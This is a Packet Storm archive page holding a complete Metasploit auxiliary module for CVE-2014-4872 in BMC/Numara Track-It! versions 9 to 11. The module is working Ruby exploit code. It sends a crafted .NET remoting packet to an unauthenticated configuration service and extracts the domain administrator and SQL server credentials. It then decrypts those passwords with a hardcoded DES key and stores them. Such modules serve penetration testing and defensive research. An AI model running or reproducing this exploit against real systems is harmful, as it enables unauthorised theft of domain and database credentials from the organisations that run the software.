what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure

BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure
Posted Aug 31, 2024
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits an unauthenticated configuration retrieval .NET remoting service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain Administrator and the SQL server user credentials. This Metasploit module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, 10.0.0.143 and 9.0.30.248.

tags | exploit
advisories | CVE-2014-4872
SHA-256 | c4393d13ad749aa7034ef30f6397d0ec4a5b81ec900725fcf1389deef93b9f50

BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

def initialize(info = {})
super(update_info(info,
'Name' => 'BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure',
'Description' => %q{
This module exploits an unauthenticated configuration retrieval .NET remoting
service in Numara / BMC Track-It! v9 to v11.X, which can be abused to retrieve the Domain
Administrator and the SQL server user credentials.
This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107,
10.0.0.143 and 9.0.30.248.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-4872' ],
[ 'OSVDB', '112741' ],
[ 'US-CERT-VU', '121036' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Oct/34' ]
],
'DisclosureDate' => '2014-10-07'
))
register_options(
[
OptPort.new('RPORT',
[true, '.NET remoting service port', 9010])
])
end


def prepare_packet(bmc)
#
# ConfigurationService packet structure:
#
# packet_header_pre_packet_size
# packet_size (4 bytes)
# packet_header_pre_uri_size
# uri_size (2 bytes)
# packet_header_pre_uri
# uri
# packet_header_post_uri
# packet_body_start_pre_method_size
# method_size (1 byte)
# method
# packet_body_pre_type_size
# type_size (1 byte)
# packet_body_pre_type
# type
# @packet_terminator
#
# .NET remoting packet spec can be found at https://msdn.microsoft.com/en-us/library/cc237454.aspx
#
# P.S.: Lots of fun stuff can be obtained from the response. Highlights include:
# - DatabaseServerName
# - DatabaseName
# - SchemaOwnerDatabaseUser
# - EncryptedSystemDatabasePassword
# - DomainAdminUserName
# - DomainAdminEncryptedPassword
#
packet_header_pre_packet_size= [
0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00
]

packet_header_pre_uri_size = [
0x04, 0x00, 0x01, 0x01
]

packet_header_pre_uri = [
0x00, 0x00
]

# contains binary type (application/octet-stream)
packet_header_post_uri = [
0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00,
0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74,
0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65,
0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d,
0x00, 0x00
]

packet_body_start_pre_method_size = [
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12
]

packet_body_pre_type_size = [ 0x12 ]

packet_body_pre_type = [ 0x01 ]

@packet_terminator = [ 0x0b ]

service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
method = "GetProductDeploymentValues".gsub(/TrackIt/,(bmc ? "Trackit" : "Numara.TrackIt"))
type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(bmc ? "TrackIt" : "Numara.TrackIt"))

uri = "tcp://" + rhost + ":" + rport.to_s + "/" + service

packet_size =
packet_header_pre_uri_size.length +
2 + # uri_size
packet_header_pre_uri.length +
uri.length +
packet_header_post_uri.length +
packet_body_start_pre_method_size.length +
1 + # method_size
method.length +
packet_body_pre_type_size.length +
1 + # type_size
packet_body_pre_type.length +
type.length

# start of packet and packet size (4 bytes)
buf = packet_header_pre_packet_size.pack('C*')
buf << Array(packet_size).pack('L*')

# uri size (2 bytes)
buf << packet_header_pre_uri_size.pack('C*')
buf << Array(uri.length).pack('S*')

# uri
buf << packet_header_pre_uri.pack('C*')
buf << uri.bytes.to_a.pack('C*')
buf << packet_header_post_uri.pack('C*')

# method name
buf << packet_body_start_pre_method_size.pack('C*')
buf << Array(method.length).pack('C*')
buf << method.bytes.to_a.pack('C*')

# type name
buf << packet_body_pre_type_size.pack('C*')
buf << Array(type.length).pack('C*')
buf << packet_body_pre_type.pack('C*')
buf << type.bytes.to_a.pack('C*')

buf << @packet_terminator.pack('C*')

return buf
end


def fill_loot_from_packet(packet_reply, loot)
loot.each_key { |str|
if loot[str] != nil
next
end
if (index = (packet_reply.index(str))) != nil
# after str, discard 5 bytes then get str_value
size = packet_reply[index + str.length + 5,1].unpack('C*')[0]
if size == 255
# if we received 0xFF then there is no value for this str
# set it to empty but not nil so that we don't look for it again
loot[str] = ""
next
end
loot[str] = packet_reply[index + str.length + 6, size]
end
}
end


def run
packet = prepare_packet(true)

sock = connect
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
else
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
end
sock.write(packet)

# type of database (Oracle or SQL Server)
database_type = "DatabaseType"
# Database server name (host\sid for Oracle or host\login_name for SQL Server)
database_server_name = "DatabaseServerName"
database_name = "DatabaseName"
schema_owner = "SchemaOwnerDatabaseUser"
database_pw = "EncryptedSystemDatabasePassword"
domain_admin_name = "DomainAdminUserName"
domain_admin_pw = "DomainAdminEncryptedPassword"

loot = {
database_type => nil,
database_server_name => nil,
database_name => nil,
schema_owner => nil,
database_pw => nil,
domain_admin_name => nil,
domain_admin_pw => nil
}

# We only break when we have a timeout (up to 15 seconds wait) or have all we need
while true
ready = IO.select([sock], nil, nil, 15)
if ready
packet_reply = sock.readpartial(4096)
else
print_error("#{rhost}:#{rport} - Socket timed out after 15 seconds, try again if no credentials are dumped below.")
break
end
if packet_reply =~ /Service not found/
# This is most likely an older Numara version, re-do the packet and send again.
print_error("#{rhost}:#{rport} - Received \"Service not found\", trying again with new packet...")
sock.close
sock = connect
if sock.nil?
fail_with(Failure::Unreachable, "#{rhost}:#{rport.to_s} - Failed to connect to remoting service")
else
print_status("#{rhost}:#{rport} - Sending packet to ConfigurationService...")
end
packet = prepare_packet(false)
sock.write(packet)
packet_reply = sock.readpartial(4096)
end

fill_loot_from_packet(packet_reply, loot)

if not loot.has_value?(nil)
break
end
end
sock.close

# now set the values that were not found back to nil
loot.each_key { |str| (loot[str] == "" ? loot[str] = nil : next) }

if loot[database_type]
print_good("#{rhost}:#{rport} - Got database type: #{loot[database_type]}")
end

if loot[database_server_name]
print_good("#{rhost}:#{rport} - Got database server name: #{loot[database_server_name]}")
end

if loot[database_name]
print_good("#{rhost}:#{rport} - Got database name: #{loot[database_name]}")
end

if loot[schema_owner]
print_good("#{rhost}:#{rport} - Got database user name: #{loot[schema_owner]}")
end

if loot[database_pw]
cipher = OpenSSL::Cipher.new("des")
cipher.decrypt
cipher.key = 'NumaraTI'
cipher.iv = 'NumaraTI'
loot[database_pw] = cipher.update(Rex::Text.decode_base64(loot[database_pw]))
loot[database_pw] << cipher.final
print_good("#{rhost}:#{rport} - Got database password: #{loot[database_pw]}")
end

if loot[domain_admin_name]
print_good("#{rhost}:#{rport} - Got domain administrator username: #{loot[domain_admin_name]}")
end

if loot[domain_admin_pw]
cipher = OpenSSL::Cipher.new("des")
cipher.decrypt
cipher.key = 'NumaraTI'
cipher.iv = 'NumaraTI'
loot[domain_admin_pw] = cipher.update(Rex::Text.decode_base64(loot[domain_admin_pw]))
loot[domain_admin_pw] << cipher.final
print_good("#{rhost}:#{rport} - Got domain administrator password: #{loot[domain_admin_pw]}")
end

if loot[schema_owner] and loot[database_pw] and loot[database_type] and loot[database_server_name]
# If it is Oracle we need to save the SID for creating the Credential Core, else we don't care
if loot[database_type] =~ /Oracle/i
sid = loot[database_server_name].split('\\')[1]
else
sid = nil
end

credential_core = report_credential_core({
password: loot[database_pw],
username: loot[schema_owner],
sid: sid
})

# Get just the hostname
db_address= loot[database_server_name].split('\\')[0]

begin
database_login_data = {
address: ::Rex::Socket.getaddress(db_address, true),
service_name: loot[database_type],
protocol: 'tcp',
workspace_id: myworkspace_id,
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}

# If it's Oracle, use the Oracle port, else use MSSQL
if loot[database_type] =~ /Oracle/i
database_login_data[:port] = 1521
else
database_login_data[:port] = 1433
end
create_credential_login(database_login_data)
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
rescue SocketError
print_error "Could not resolve Database Server Hostname."
end

print_status("#{rhost}:#{rport} - Stored SQL credentials: #{loot[database_server_name]}:#{loot[schema_owner]}:#{loot[database_pw]}")
end

if loot[domain_admin_name] and loot[domain_admin_pw]
report_credential_core({
password: loot[domain_admin_pw],
username: loot[domain_admin_name].split('\\')[1],
domain: loot[domain_admin_name].split('\\')[0]
})

print_status("#{rhost}:#{rport} - Stored domain credentials: #{loot[domain_admin_name]}:#{loot[domain_admin_pw]}")
end
end


def report_credential_core(cred_opts={})
# Set up the has for our Origin service
origin_service_data = {
address: rhost,
port: rport,
service_name: 'Domain',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: cred_opts[:password],
username: cred_opts[:username]
}

if cred_opts[:domain]
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
realm_value: cred_opts[:domain]
})
elsif cred_opts[:sid]
credential_data.merge!({
realm_key: Metasploit::Model::Realm::Key::ORACLE_SYSTEM_IDENTIFIER,
realm_value: cred_opts[:sid]
})
end

credential_data.merge!(origin_service_data)
create_credential(credential_data)
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close